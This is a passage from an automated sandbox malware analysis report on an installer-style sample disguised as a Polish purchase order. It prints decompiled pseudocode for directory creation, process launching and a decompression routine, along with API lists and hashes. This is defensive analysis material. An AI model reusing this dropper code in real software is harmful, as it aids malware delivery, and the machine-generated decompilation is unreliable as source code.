                                                                                              • Instruction Fuzzy Hash: 1A212B72904211FBDF217FA48E49AAE76B1AB45318F30423BF701B62D0C7BD49459A6E
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 004015B3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 87%
                                                                                              			E004015B3(char __ebx) {
				void* _t13;
				int _t19;
				char _t21;
				void* _t22;
				char _t23;
				signed char _t24;
				char _t26;
				CHAR* _t28;
				char* _t32;
				void* _t33;

				_t26 = __ebx;
				_t28 = E00402A3A(0xfffffff0);
				_t13 = E00405804(_t28);
				_t30 = _t13;
				if(_t13 != __ebx) {
					do {
						_t32 = E00405796(_t30, 0x5c);
						_t21 =  *_t32;
						 *_t32 = _t26;
						 *((char*)(_t33 + 0xb)) = _t21;
						if(_t21 != _t26) {
							L5:
							_t22 = E00405455(_t28);
						} else {
							_t38 =  *((intOrPtr*)(_t33 - 0x20)) - _t26;
							if( *((intOrPtr*)(_t33 - 0x20)) == _t26 || E00405472(_t38) == 0) {
								goto L5;
							} else {
								_t22 = E004053D8(_t28); // executed
							}
						}
						if(_t22 != _t26) {
							if(_t22 != 0xb7) {
								L9:
								 *((intOrPtr*)(_t33 - 4)) =  *((intOrPtr*)(_t33 - 4)) + 1;
							} else {
								_t24 = GetFileAttributesA(_t28); // executed
								if((_t24 & 0x00000010) == 0) {
									goto L9;
								}
							}
						}
						_t23 =  *((intOrPtr*)(_t33 + 0xb));
						 *_t32 = _t23;
						_t30 = _t32 + 1;
					} while (_t23 != _t26);
				}
				if( *((intOrPtr*)(_t33 - 0x24)) == _t26) {
					_push(0xfffffff5);
					E00401423();
				} else {
					E00401423(0xffffffe6);
					E00405CF9("C:\\Users\\Arthur\\Pacifisterne\\Automatcafeer\\Syntaksgenkendelsernes\\Temposkifterne", _t28);
					_t19 = SetCurrentDirectoryA(_t28); // executed
					if(_t19 == 0) {
						 *((intOrPtr*)(_t33 - 4)) =  *((intOrPtr*)(_t33 - 4)) + 1;
					}
				}
				 *0x423788 =  *0x423788 +  *((intOrPtr*)(_t33 - 4));
				return 0;
			}













                                                                                              0x004015b3
                                                                                              0x004015ba
                                                                                              0x004015bd
                                                                                              0x004015c2
                                                                                              0x004015c6
                                                                                              0x004015c8
                                                                                              0x004015d0
                                                                                              0x004015d2
                                                                                              0x004015d4
                                                                                              0x004015d8
                                                                                              0x004015db
                                                                                              0x004015f3
                                                                                              0x004015f4
                                                                                              0x004015dd
                                                                                              0x004015dd
                                                                                              0x004015e0
                                                                                              0x00000000
                                                                                              0x004015eb
                                                                                              0x004015ec
                                                                                              0x004015ec
                                                                                              0x004015e0
                                                                                              0x004015fb
                                                                                              0x00401602
                                                                                              0x0040160f
                                                                                              0x0040160f
                                                                                              0x00401604
                                                                                              0x00401605
                                                                                              0x0040160d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040160d
                                                                                              0x00401602
                                                                                              0x00401612
                                                                                              0x00401615
                                                                                              0x00401617
                                                                                              0x00401618
                                                                                              0x004015c8
                                                                                              0x0040161f
                                                                                              0x0040164a
                                                                                              0x004021c4
                                                                                              0x00401621
                                                                                              0x00401623
                                                                                              0x0040162e
                                                                                              0x00401634
                                                                                              0x0040163c
                                                                                              0x00401642
                                                                                              0x00401642
                                                                                              0x0040163c
                                                                                              0x004028d2
                                                                                              0x004028de

                                                                                              APIs
                                                                                                • Part of subcall function 00405804: CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,?,00405870,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,76283410,?,C:\Users\user\AppData\Local\Temp\,004055BB,?,76283410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405812
                                                                                                • Part of subcall function 00405804: CharNextA.USER32(00000000), ref: 00405817
                                                                                                • Part of subcall function 00405804: CharNextA.USER32(00000000), ref: 0040582B
                                                                                              • GetFileAttributesA.KERNELBASE(00000000,00000000,00000000,0000005C,00000000,000000F0), ref: 00401605
                                                                                                • Part of subcall function 004053D8: CreateDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 0040541B
                                                                                              • SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\Pacifisterne\Automatcafeer\Syntaksgenkendelsernes\Temposkifterne,00000000,00000000,000000F0), ref: 00401634
                                                                                              Strings
                                                                                              • C:\Users\user\Pacifisterne\Automatcafeer\Syntaksgenkendelsernes\Temposkifterne, xrefs: 00401629
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: CharNext$Directory$AttributesCreateCurrentFile
                                                                                              • String ID: C:\Users\user\Pacifisterne\Automatcafeer\Syntaksgenkendelsernes\Temposkifterne
                                                                                              • API String ID: 1892508949-1926716783
                                                                                              • Opcode ID: dc3f2b08dd0b23deb2200b8cff6eb9b6ab41173e829b03834ce904b4ad95c354
                                                                                              • Instruction ID: 4fb2b9239308f527e4829455642bf5c86be9504270dcf99fcce102751257b2ff
                                                                                              • Opcode Fuzzy Hash: dc3f2b08dd0b23deb2200b8cff6eb9b6ab41173e829b03834ce904b4ad95c354
                                                                                              • Instruction Fuzzy Hash: 1611E736508141ABEF217F650D415BF27B0EA92325738467FE592B62E2C63C4942A63F
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 0040548A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E0040548A(CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x421510->cb = 0x44;
				_t7 = CreateProcessA(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x421510,  &_v20); // executed
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}





                                                                                              0x00405493
                                                                                              0x004054b3
                                                                                              0x004054bb
                                                                                              0x004054c0
                                                                                              0x00000000
                                                                                              0x004054c6
                                                                                              0x004054ca

                                                                                              APIs
                                                                                              • CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421510,Error launching installer), ref: 004054B3
                                                                                              • CloseHandle.KERNEL32(?), ref: 004054C0
                                                                                              Strings
                                                                                              • Error launching installer, xrefs: 0040549D
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: CloseCreateHandleProcess
                                                                                              • String ID: Error launching installer
                                                                                              • API String ID: 3712363035-66219284
                                                                                              • Opcode ID: 8c32d595c10ae78cfc35805ab98709760fd6cf99201592758dbf5461ff55bb51
                                                                                              • Instruction ID: 90ee3f3d0c484d323fd0424032eb65db2415cafeee3384e03f1d9bc4b04e7a5d
                                                                                              • Opcode Fuzzy Hash: 8c32d595c10ae78cfc35805ab98709760fd6cf99201592758dbf5461ff55bb51
                                                                                              • Instruction Fuzzy Hash: FFE04FB4A002097FEB009B60EC05F7B7BBCEB00348F408561BD11F21A0E374A9508A78
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00406779 Relevance: 5.2, APIs: 4, Instructions: 236COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 99%
                                                                                              			E00406779() {
				signed int _t530;
				void _t537;
				signed int _t538;
				signed int _t539;
				unsigned short _t569;
				signed int _t579;
				signed int _t607;
				void* _t627;
				signed int _t628;
				signed int _t635;
				signed int* _t643;
				void* _t644;

				L0:
				while(1) {
					L0:
					_t530 =  *(_t644 - 0x30);
					if(_t530 >= 4) {
					}
					 *(_t644 - 0x40) = 6;
					 *(_t644 - 0x7c) = 0x19;
					 *((intOrPtr*)(_t644 - 0x58)) = (_t530 << 7) +  *(_t644 - 4) + 0x360;
					while(1) {
						L145:
						 *(_t644 - 0x50) = 1;
						 *(_t644 - 0x48) =  *(_t644 - 0x40);
						while(1) {
							L149:
							if( *(_t644 - 0x48) <= 0) {
								goto L155;
							}
							L150:
							_t627 =  *(_t644 - 0x50) +  *(_t644 - 0x50);
							_t643 = _t627 +  *((intOrPtr*)(_t644 - 0x58));
							 *(_t644 - 0x54) = _t643;
							_t569 =  *_t643;
							_t635 = _t569 & 0x0000ffff;
							_t607 = ( *(_t644 - 0x10) >> 0xb) * _t635;
							if( *(_t644 - 0xc) >= _t607) {
								 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t607;
								 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t607;
								_t628 = _t627 + 1;
								 *_t643 = _t569 - (_t569 >> 5);
								 *(_t644 - 0x50) = _t628;
							} else {
								 *(_t644 - 0x10) = _t607;
								 *(_t644 - 0x50) =  *(_t644 - 0x50) << 1;
								 *_t643 = (0x800 - _t635 >> 5) + _t569;
							}
							if( *(_t644 - 0x10) >= 0x1000000) {
								L148:
								_t487 = _t644 - 0x48;
								 *_t487 =  *(_t644 - 0x48) - 1;
								L149:
								if( *(_t644 - 0x48) <= 0) {
									goto L155;
								}
								goto L150;
							} else {
								L154:
								L146:
								if( *(_t644 - 0x6c) == 0) {
									L169:
									 *(_t644 - 0x88) = 0x18;
									L170:
									_t579 = 0x22;
									memcpy( *(_t644 - 0x90), _t644 - 0x88, _t579 << 2);
									_t539 = 0;
									L172:
									return _t539;
								}
								L147:
								 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
								 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
								_t484 = _t644 - 0x70;
								 *_t484 =  &(( *(_t644 - 0x70))[1]);
								 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
								goto L148;
							}
							L155:
							_t537 =  *(_t644 - 0x7c);
							 *((intOrPtr*)(_t644 - 0x44)) =  *(_t644 - 0x50) - (1 <<  *(_t644 - 0x40));
							while(1) {
								L140:
								 *(_t644 - 0x88) = _t537;
								while(1) {
									L1:
									_t538 =  *(_t644 - 0x88);
									if(_t538 > 0x1c) {
										break;
									}
									L2:
									switch( *((intOrPtr*)(_t538 * 4 +  &M00406BE7))) {
										case 0:
											L3:
											if( *(_t644 - 0x6c) == 0) {
												goto L170;
											}
											L4:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t538 =  *( *(_t644 - 0x70));
											if(_t538 > 0xe1) {
												goto L171;
											}
											L5:
											_t542 = _t538 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t581);
											_push(9);
											_pop(_t582);
											_t638 = _t542 / _t581;
											_t544 = _t542 % _t581 & 0x000000ff;
											asm("cdq");
											_t633 = _t544 % _t582 & 0x000000ff;
											 *(_t644 - 0x3c) = _t633;
											 *(_t644 - 0x1c) = (1 << _t638) - 1;
											 *((intOrPtr*)(_t644 - 0x18)) = (1 << _t544 / _t582) - 1;
											_t641 = (0x300 << _t633 + _t638) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t644 - 0x78))) {
												L10:
												if(_t641 == 0) {
													L12:
													 *(_t644 - 0x48) =  *(_t644 - 0x48) & 0x00000000;
													 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t641 = _t641 - 1;
													 *((short*)( *(_t644 - 4) + _t641 * 2)) = 0x400;
												} while (_t641 != 0);
												goto L12;
											}
											L6:
											if( *(_t644 - 4) != 0) {
												GlobalFree( *(_t644 - 4)); // executed
											}
											_t538 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t644 - 4) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t644 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L157:
												 *(_t644 - 0x88) = 1;
												goto L170;
											}
											L14:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x40) =  *(_t644 - 0x40) | ( *( *(_t644 - 0x70)) & 0x000000ff) <<  *(_t644 - 0x48) << 0x00000003;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											_t45 = _t644 - 0x48;
											 *_t45 =  *(_t644 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t644 - 0x48) < 4) {
												goto L13;
											}
											L16:
											_t550 =  *(_t644 - 0x40);
											if(_t550 ==  *(_t644 - 0x74)) {
												L20:
												 *(_t644 - 0x48) = 5;
												 *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) =  *( *(_t644 - 8) +  *(_t644 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											L17:
											 *(_t644 - 0x74) = _t550;
											if( *(_t644 - 8) != 0) {
												GlobalFree( *(_t644 - 8)); // executed
											}
											_t538 = GlobalAlloc(0x40,  *(_t644 - 0x40)); // executed
											 *(_t644 - 8) = _t538;
											if(_t538 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t557 =  *(_t644 - 0x60) &  *(_t644 - 0x1c);
											 *(_t644 - 0x84) = 6;
											 *(_t644 - 0x4c) = _t557;
											_t642 =  *(_t644 - 4) + (( *(_t644 - 0x38) << 4) + _t557) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t644 - 0x6c);
											if( *(_t644 - 0x6c) == 0) {
												L158:
												 *(_t644 - 0x88) = 3;
												goto L170;
											}
											L22:
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											_t67 = _t644 - 0x70;
											 *_t67 =  &(( *(_t644 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L23:
											 *(_t644 - 0x48) =  *(_t644 - 0x48) - 1;
											if( *(_t644 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t559 =  *_t642;
											_t626 = _t559 & 0x0000ffff;
											_t596 = ( *(_t644 - 0x10) >> 0xb) * _t626;
											if( *(_t644 - 0xc) >= _t596) {
												 *(_t644 - 0x10) =  *(_t644 - 0x10) - _t596;
												 *(_t644 - 0xc) =  *(_t644 - 0xc) - _t596;
												 *(_t644 - 0x40) = 1;
												_t560 = _t559 - (_t559 >> 5);
												__eflags = _t560;
												 *_t642 = _t560;
											} else {
												 *(_t644 - 0x10) = _t596;
												 *(_t644 - 0x40) =  *(_t644 - 0x40) & 0x00000000;
												 *_t642 = (0x800 - _t626 >> 5) + _t559;
											}
											if( *(_t644 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t644 - 0x6c) == 0) {
												L168:
												 *(_t644 - 0x88) = 5;
												goto L170;
											}
											L138:
											 *(_t644 - 0x10) =  *(_t644 - 0x10) << 8;
											 *(_t644 - 0x6c) =  *(_t644 - 0x6c) - 1;
											 *(_t644 - 0x70) =  &(( *(_t644 - 0x70))[1]);
											 *(_t644 - 0xc) =  *(_t644 - 0xc) << 0x00000008 |  *( *(_t644 - 0x70)) & 0x000000ff;
											L139:
											_t537 =  *(_t644 - 0x84);
											L140:
											 *(_t644 - 0x88) = _t537;
											goto L1;
										case 6:
											L25:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L36:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L26:
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												L35:
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												L32:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											L66:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												L68:
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											L67:
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											L70:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											L73:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											L74:
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											L75:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											L82:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L84:
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											L83:
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											L85:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L164:
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											L100:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L159:
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											L38:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											L40:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												L45:
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L160:
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											L47:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												L49:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
